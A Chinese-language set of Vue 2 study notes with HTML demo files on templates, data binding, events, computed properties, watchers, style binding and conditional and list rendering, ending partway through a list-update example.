vue2 学习
Demo
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
{{name}}
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '南图小学'
}
})
</script>
</body>
</html>
初识
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h1>hello, {{name}}, {{address}}, {{Date.now()}}</h1>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root', // 用于指定当前vue 实例为哪个容器服务,
data: {
name: 'word',
address: '成都'
}
})
</script>
</body>
</html>
vue 模板语法
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h1>插值语法</h1>
<h3>你好,{{name}}</h3>
<hr>
<h1>指令语法</h1>
<a v-bind:href="url">点击跳转</a>
<a :href="url">点击跳转</a>
</div>
<script text="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: 'jack',
url: 'https://cn.bing.com/'
}
})
</script>
</body>
</html>
数据绑定
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<!-- 普通写法 -->
<!-- 单项数据绑定: <input type="text" v-bind:value="name"><br/>
双项数据绑定: <input type="text" v-model:value="name"><br/> -->
<!-- 简写 -->
单项数据绑定: <input type="text" :value="name"><br/>
双项数据绑定: <input type="text" v-model="name"><br/>
</div>
<script text="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name:'jack'
}
})
</script>
</body>
</html>
el与data两种写法
el两种写法
data两种写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../common/vue2_6_14/vue.js"></script>
</head>
<body>
<div id="root">
<h1>hello, {{name}}</h1>
</div>
<script text="text/javascript">
Vue.config.productionTip = false
const v = new Vue({
// el: '#root', // 第一种写法
data: {
name:'jack'
}
})
v.$mount('#root') // 第二种写法
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../common/vue2_6_14/vue.js"></script>
</head>
<body>
<div id="root">
<h1>hello, {{name}}</h1>
</div>
<script text="text/javascript">
Vue.config.productionTip = false
// 对象式
// const v = new Vue({
// el: '#root', // 第一种写法
// data: {
// name:'jack'
// }
// }
// })
// 函数式
const v = new Vue({
el: '#root',
// data: function() {
// console.log('@@', this); // 此处this 为 Vue 实例对象
// return {
// name: 'jack'
// }
// }
data() {
console.log('@@', this); // 此处this 为 Vue 实例对象
return {
name: 'jack'
}
}
})
</script>
</body>
</html>
MVVM模型
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<!-- View -->
<div id="root">
<h1>学校名称:{{name}}</h1>
<h1>学校地址:{{addr}}</h1>
<!-- <h1>测试:{{1+1}}</h1>
<h1>测试:{{$options}}</h1>
<h1>测试:{{$emit}}</h1>
<h1>测试:{{_c}}</h1> -->
</div>
<script>
Vue.config.productionTip = false
// ViewModel
new Vue({
el: '#root',
// Model
data: {
name: '南图小学',
addr: '仪陇县'
}
})
</script>
</body>
</html>
事件处理
事件基本使用
事件修饰符
键盘事件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>欢迎来到{{name}}学习!!</h2>
<button v-on:click="showInfo">点击提示信息</button><br>
<!-- 简写方式, 可以传参和event -->
<button @click="showInfo2(67, $event)">点击提示信息2</button><br>
<!-- <button @click="showInfo3(88)">点击提示信息3</button> 不能这么使用 -->
</div>
<script>
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name: '南图小学'
},
methods:{
showInfo(event){
console.log(event);
alert('你好')
},
showInfo2(num, event){
console.log(num);
console.log(event);
},
showInfo3(num){
return (event) => {
console.log(num);
console.log(event);
}
}
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../common/vue2_6_14/vue.js"></script>
<style>
.demo1{
height: 50px;
background-color: skyblue;
}
*{
margin: 20px;
}
.box1{
padding: 5px;
background-color: skyblue;
}
.box2{
background-color: orange;
}
.list{
width: 200px;
height: 50px;
background-color: peru;
overflow: auto;
}
li{
height: 10px;
}
</style>
</head>
<body>
<div id="root">
<h2>欢迎来到{{name}}</h2>
<a href="www.baidu.com" @click="showInfo">点我提示信息</a><br>
<!-- 使用修饰符 -->
<!-- 阻止默认行为 -->
<a href="www.baidu.com" @click.prevent="showInfo2">点我提示信息2</a><br>
<!-- 阻止冒泡 -->
<div class="demo1" @click="showDemo1Info">
<button @click.stop="showDemo1Info">点我提示信息demo1</button>
</div>
<!-- 阻止冒泡 和默认事件-->
<div class="demo1" @click="showDemo1Info">
<a href="http://www.baidu.com" @click.stop.prevent="showInfo2">点我提示信息xxx</a><br>
</div>
<!-- 事件只触发一次 -->
<button @click.once="showDemo2Info">点我提示信息demo2</button>
<!-- 使用事件的捕获方式 不使用点击div2则冒泡显示 2 1 ,使用为 1 2-->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
<!-- event.target是当前元素时才触发冒泡事件 -->
<div class="box1" @click.self="showInfoDemo2">
div1
<div class="box2" @click="showInfoDemo2">
div2
</div>
</div>
<!-- passive 默认行为立即执行,无需等待事件执行完毕 -->
<!-- @wheel 滚轮事件 @scroll 滚动条事件 -->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
<li>5</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '南图实验学校'
},
methods:{
showInfo(e) {
e.preventDefault() // 阻止跳转
alert('你好')
},
showInfo2() {
alert('你好')
},
showDemo1Info(e) {
// e.stopPropagation()
alert('demo1')
},
showDemo2Info() {
alert('demo2')
},
showMsg(msg){
console.log(msg);
},
showInfoDemo2(e){
console.log(e.target);
},
demo(){
for (let index = 0; index < 10000; index++) {
console.log('$');
}
console.log('@');
}
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../common/vue2_6_14/vue.js"></script>
</head>
<body>
<div id="root">
<h2>欢迎来到{{name}}学习!!</h2>
<!-- <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo"> -->
<input type="text" placeholder="按下回车提示输入" @keyup="showInfo">
<!-- tab 键最好配合 keydown使用 -->
<!-- CapsLock 应改为 @keyup.caps-lock -->
<hr>
<input type="text" placeholder="按下回车提示输入" @keydown.ctrl.y="showInfo2">
</div>
<script>
/*
键盘事件有很多别名
回车 enter
删除 delete
退出 esc
空格 space
换行 tab
上 up
下 down
左 left
右 right
ctrl alt shift meta 最好配合keydown 使用
*/
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name: '南图小学'
},
methods:{
showInfo(e){
console.log(`key:${e.key}, keycode:${e.keyCode}`);
console.log(e.target.value);
},
showInfo2(e){
console.log(`key:${e.key}, keycode:${e.keyCode}`);
console.log(e.target.value);
}
}
})
</script>
</body>
</html>
计算属性
插值语法实现
method实现
计算属性实现
计算属性实现(简写)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
<!-- 全名时截取前3位 -->
<!-- 全名:<span>{{firstName.slice(0, 3)}}-{{lastName}}</span> -->
全名:<span>{{firstName}}-{{lastName}}</span>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三'
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName()}}</span>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三'
},
methods: {
fullName(){
return this.firstName + '-' + this.lastName
}
},
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName}}</span>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三'
},
computed:{
fullName:{
// get:当有人读取时,get就会被调用
// 初次读取时被调用(有缓存),所依赖得值发生变化也会调用
get(){
return this.firstName + '-' + this.lastName
},
// set 当fullname被修改时被调用
set(value){
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
}
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName}}</span>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三'
},
computed:{
// 简写 (只考虑读取不考虑修改才能简写)
fullName(){
return this.firstName + '-' + this.lastName
}
}
})
</script>
</body>
</html>
监视属性
天气案例
监视属性方式一
监视属性方式二
深度监视多级结构
深度监视所有子结构
深度监视简写
姓名案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
<h1>今天天气很{{info}}</h1>
<button @click="changeWeather">点我切换天气</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
isHot: true
},
computed:{
info(){
return this.isHot?'炎热':'凉爽'
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
},
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
<h1>今天天气很{{info}}</h1>
<button @click="changeWeather">点我切换天气</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
isHot: true
},
computed:{
info(){
return this.isHot?'炎热':'凉爽'
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
},
watch:{
isHot:{
immediate:true, //初始化时让 hander调用一下
// isHot被修改了被调用
handler(newValue, oldValue){
console.log(`当前值:${newValue}, 历史值:${oldValue}`);
}
}
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
<h1>今天天气很{{info}}</h1>
<button @click="changeWeather">点我切换天气</button>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
isHot: true
},
computed:{
info(){
return this.isHot?'炎热':'凉爽'
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
}
})
vm.$watch('isHot', {
immediate:true, //初始化时让 hander调用一下
// isHot被修改了被调用
handler(newValue, oldValue){
console.log(`当前值:${newValue}, 历史值:${oldValue}`);
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
<h1>今天天气很{{info}}</h1>
<button @click="changeWeather">点我切换天气</button>
<hr>
<h3>a的值是:{{numbers.a}}, 示例只监视a</h3>
<button @click="numbers.a++">点我a++</button>
<h3>b的值是:{{numbers.b}}, 示例只监视b</h3>
<button @click="numbers.b++">点我b++</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
isHot: true,
numbers:{
a:1,
b:1
}
},
computed:{
info(){
return this.isHot?'炎热':'凉爽'
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
},
watch:{
isHot:{
immediate:true, //初始化时让 hander调用一下
// isHot被修改了被调用
handler(newValue, oldValue){
console.log(`当前值:${newValue}, 历史值:${oldValue}`);
}
},
// 监视多级结构属性变化
numbers:{
deep:true, // 否则只监视numbers ,其为一个内存地址,子内容变化不会被监视到,deeptrue才会递归监视
handler(){
console.log(`当前值:${newValue}, 历史值:${oldValue}`);
}
}
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
<h1>今天天气很{{info}}</h1>
<button @click="changeWeather">点我切换天气</button>
<hr>
<h3>a的值是:{{numbers.a}}, 示例只监视a</h3>
<button @click="numbers.a++">点我a++</button>
<h3>b的值是:{{numbers.b}}, 示例只监视b</h3>
<button @click="numbers.b++">点我b++</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
isHot: true,
numbers:{
a:1,
b:1
}
},
computed:{
info(){
return this.isHot?'炎热':'凉爽'
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
},
watch:{
isHot:{
immediate:true, //初始化时让 hander调用一下
// isHot被修改了被调用
handler(newValue, oldValue){
console.log(`当前值:${newValue}, 历史值:${oldValue}`);
}
},
// 监视多级结构属性变化
numbers:{
deep:true, // 否则只监视numbers ,其为一个内存地址,子内容变化不会被监视到,deeptrue才会递归监视
handler(newValue, oldValue){
console.log(`当前值:${newValue.a}, 历史值:${oldValue.a}`);
console.log(`当前值:${newValue.b}, 历史值:${oldValue.b}`);
}
}
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<!-- <h1>今天天气很{{isHot?:'炎热':'寒冷'}}</h1> -->
<h1>今天天气很{{info}}</h1>
<button @click="changeWeather">点我切换天气</button>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
isHot: true,
numbers: {
a: 1,
b: 1
}
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather() {
this.isHot = !this.isHot
}
},
// watch: {
// // 只用handler时可以简写,方式一
// isHot(newValue, oldValue) {
// console.log(`当前值:${newValue}, 历史值:${oldValue}`);
// }
// }
})
// 第二种简写方式
vm.$watch('isHot', function (newValue, oldValue) {
console.log(`当前值:${newValue}, 历史值:${oldValue}`);
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName}}</span>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三',
fullName: '张-三'
},
computed:{
// 简写 (只考虑读取不考虑修改才能简写)
fullName(){
return this.firstName + '-' + this.lastName
}
// fullName:{
// // get:当有人读取时,get就会被调用
// // 初次读取时被调用(有缓存),所依赖得值发生变化也会调用
// get(){
// return this.firstName + '-' + this.lastName
// },
// // set 当fullname被修改时被调用
// set(value){
// const arr = value.split('-')
// this.firstName = arr[0]
// this.lastName = arr[1]
// }
// }
},
watch:{
firstName(newValue){
this.fullName = newValue + '-' + this.lastName
},
lastName(newValue) {
this.fullName = this.firstName + '-' + newValue
}
}
})
</script>
</body>
</html>
类型绑定
绑定样式-class
绑定样式-style
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
<style>
.basic{
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy{
border: 4px solid red;;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad{
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal{
background-color: skyblue;
}
.atguigu1{
background-color: yellowgreen;
}
.atguigu2{
font-size: 30px;
text-shadow:2px 2px 10px red;
}
.atguigu3{
border-radius: 20px;
}
</style>
</head>
<body>
<div id="root">
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<br/>
<!-- 绑定样式个数不确定,名字也不确定 -->
<div class="basic" :class="arr">{{name}}</div>
<br/>
<!-- 绑定样式数量确定,名字确定,但要动态决定用不用 -->
<div class="basic" :class="obj">{{name}}</div>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'南图小学',
mood: 'normal',
arr: ['atguigu1', 'atguigu2', 'atguigu3'],
obj: {
atguigu1: false,
atguigu2: true,
atguigu3: false
}
},
methods:{
changeMood(){
// document.getElementById('demo').className = 'basic happy'
this.mood = 'happy '
}
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
<style>
.basic{
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy{
border: 4px solid red;;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad{
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal{
background-color: skyblue;
}
.atguigu1{
background-color: yellowgreen;
}
.atguigu2{
font-size: 30px;
text-shadow:2px 2px 10px red;
}
.atguigu3{
border-radius: 20px;
}
</style>
</head>
<body>
<div id="root">
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<br/>
<!-- 绑定样式个数不确定,名字也不确定 -->
<div class="basic" :class="arr">{{name}}</div>
<br/>
<!-- 绑定样式数量确定,名字确定,但要动态决定用不用 -->
<div class="basic" :class="obj">{{name}}</div>
<!-- <div class="basic" :style="{fontSize: fsize+'px'}">{{name}}</div> -->
<div class="basic" :style="styleObj">{{name}}</div>
<div class="basic" :style="[styleObj, styleObj2]">{{name}}</div>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'南图小学',
mood: 'normal',
arr: ['atguigu1', 'atguigu2', 'atguigu3'],
obj: {
atguigu1: false,
atguigu2: true,
atguigu3: false
},
// fsize:40,
styleObj: {
fontSize: '40px'
},
styleObj2: {
backgroundColor:'orange'
}
},
methods:{
changeMood(){
// document.getElementById('demo').className = 'basic happy'
this.mood = 'happy '
}
}
})
</script>
</body>
</html>
条件渲染
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>当前n是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- 使用v-show 条件渲染 -->
<!-- <h2 v-show="true">欢迎来到{{name}}</h2> -->
<!-- false 时完全剔除 -->
<!-- <h2 v-if="true">欢迎来到{{name}}</h2> -->
<!-- <div v-if="n==1">Angular</div>
<div v-if="n==2">React</div>
<div v-if="n==3">Vue</div> -->
<div v-if="n==1">Angular</div>
<div v-else-if="n==2">React</div>
<div v-else-if="n==3">Vue</div>
<div v-else>hh</div>
<hr>
<!-- template不会改变结构,但只能使用 v-if -->
<template v-if="n==1">
<div>1</div>
<div>2</div>
<div>3</div>
</template>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data:{
name:'南图',
n: 0
}
})
</script>
</body>
</html>
列表渲染
基础示例
key原理
列表过滤-watch方式
列表过滤-computed方式
列表排序
更新时的一个问题
vueset使用
模拟数据监测
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<ul>
<!-- <li v-for="p in persons" :key="p.id">
{{p.name}}-{{p.age}}
</li> -->
<li v-for="(p, index) in persons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
<h2>汽车信息</h2>
<ul>
<li v-for="(v, k) in cars" :key="k">
{{k}}-{{v}}
</li>
</ul>
<h2>字符串信息</h2>
<ul>
<li v-for="(c, index) in str" :key="index">
{{index}}-{{c}}
</li>
</ul>
<h2>测试便利次数</h2>
<ul>
<li v-for="(number, index) in 5" :key="index">
{{index}}-{{number}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
persons:[
{id:'001', name:'张三', age:21},
{id:'002', name:'李四', age:31},
{id:'003', name:'王五', age:61},
],
cars:{
name: '奥迪',
color: 'black',
size: 'middle'
},
str: 'helloworld'
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<button @click="add">添加一个人</button>
<ul>
<!-- <li v-for="p in persons" :key="p.id">
{{p.name}}-{{p.age}}
</li> -->
<!-- key使用 index diff会出现问题,所以还是要使用 id来避免 -->
<li v-for="(p, index) in persons" :key="index">
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
<script>
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
persons:[
{id:'001', name:'张三', age:21},
{id:'002', name:'李四', age:31},
{id:'003', name:'王五', age:61},
]
},
methods: {
add(){
const p = {id:'004', name:'hello', age:1000}
this.persons = [p, ...this.persons]
}
},
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" v-model="keyWord">
<ul>
<li v-for="(p) in filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '张三', age: 21, sex: '男' },
{ id: '002', name: '李四', age: 31, sex: '男' },
{ id: '003', name: '王五', age: 61, sex: '男' },
{ id: '004', name: '马冬梅', age: 61, sex: '女' },
{ id: '005', name: '周冬雨', age: 61, sex: '女' },
{ id: '006', name: '周杰伦', age: 61, sex: '男' },
{ id: '007', name: '温兆伦', age: 61, sex: '男' },
],
filPersons: []
},
watch: {
keyWord: {
immediate: true,
handler(val) {
console.log('@', val);
this.filPersons = this.persons.filter((p) => {
console.log('name:', p.name, 'val:', val);
console.log('p.name.indexOf(val):', p.name.indexOf(val));
return p.name.indexOf(val) !== -1
})
console.log('filPersons:', this.filPersons);
}
}
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" v-model="keyWord">
<ul>
<li v-for="(p) in filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '张三', age: 21, sex: '男' },
{ id: '002', name: '李四', age: 31, sex: '男' },
{ id: '003', name: '王五', age: 61, sex: '男' },
{ id: '004', name: '马冬梅', age: 25, sex: '女' },
{ id: '005', name: '周冬雨', age: 39, sex: '女' },
{ id: '006', name: '周杰伦', age: 11, sex: '男' },
{ id: '007', name: '温兆伦', age: 34, sex: '男' },
]
},
computed:{
filPersons() {
return this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1
})
}
}
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" v-model="keyWord" placeholder="请输入名字">
<button @click="sortType=2">列表升序</button>
<button @click="sortType=1">列表降序</button>
<button @click="sortType=0">原始顺序</button>
<ul>
<li v-for="(p) in filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
sortType: 0, // 0:原顺序 1:降序 2:升序
keyWord: '',
persons: [
{ id: '001', name: '张三', age: 21, sex: '男' },
{ id: '002', name: '李四', age: 31, sex: '男' },
{ id: '003', name: '王五', age: 61, sex: '男' },
{ id: '004', name: '马冬梅', age: 25, sex: '女' },
{ id: '005', name: '周冬雨', age: 39, sex: '女' },
{ id: '006', name: '周杰伦', age: 11, sex: '男' },
{ id: '007', name: '温兆伦', age: 34, sex: '男' },
]
},
computed:{
filPersons() {
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1
})
if (this.sortType) {
arr.sort((p1, p2) => this.sortType === 2? p1.age - p2.age: p2.age - p1.age)
}
// switch (this.sortType) {
// case 1:
// arr.sort((p1, p2) => p1.age - p2.age)
// break;
// case 2:
// arr.sort((p1, p2) => p2.age - p1.age)
// break
// default:
// break;
// }
return arr
}
},
})
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<button @click="updateMei">更新马冬梅信息</button>
<ul>
<li v-for="(p) in persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '张三', age: 21, sex: '男' },
{ id: '002', name: '李四', age: 31, sex: '男' },
{ id: '003', name: '王五', age: 61, sex: '男' },
{ id: '004', name: '马冬梅', age: 25, sex: '女' },
{ id: '005', name: '周冬雨', age: 39, sex: '女' },
{ id: '006', name: '周杰伦', age: 11, sex: '男' },
{ id: '007', name: '温兆伦', age: 34, sex: '男' },
]
},
methods: {
updateMei() {
// 有效
// this.persons[3].name = '马老师'
// this.persons[3].age = 53
// this.persons[3].sex = '男'
// 无效
// this.persons[3] = { id: '004', name: '马老师', age: 53, sex: '男' }
// 有效 vue 只针对数组常用方法进行检测
/*
push()
pop()
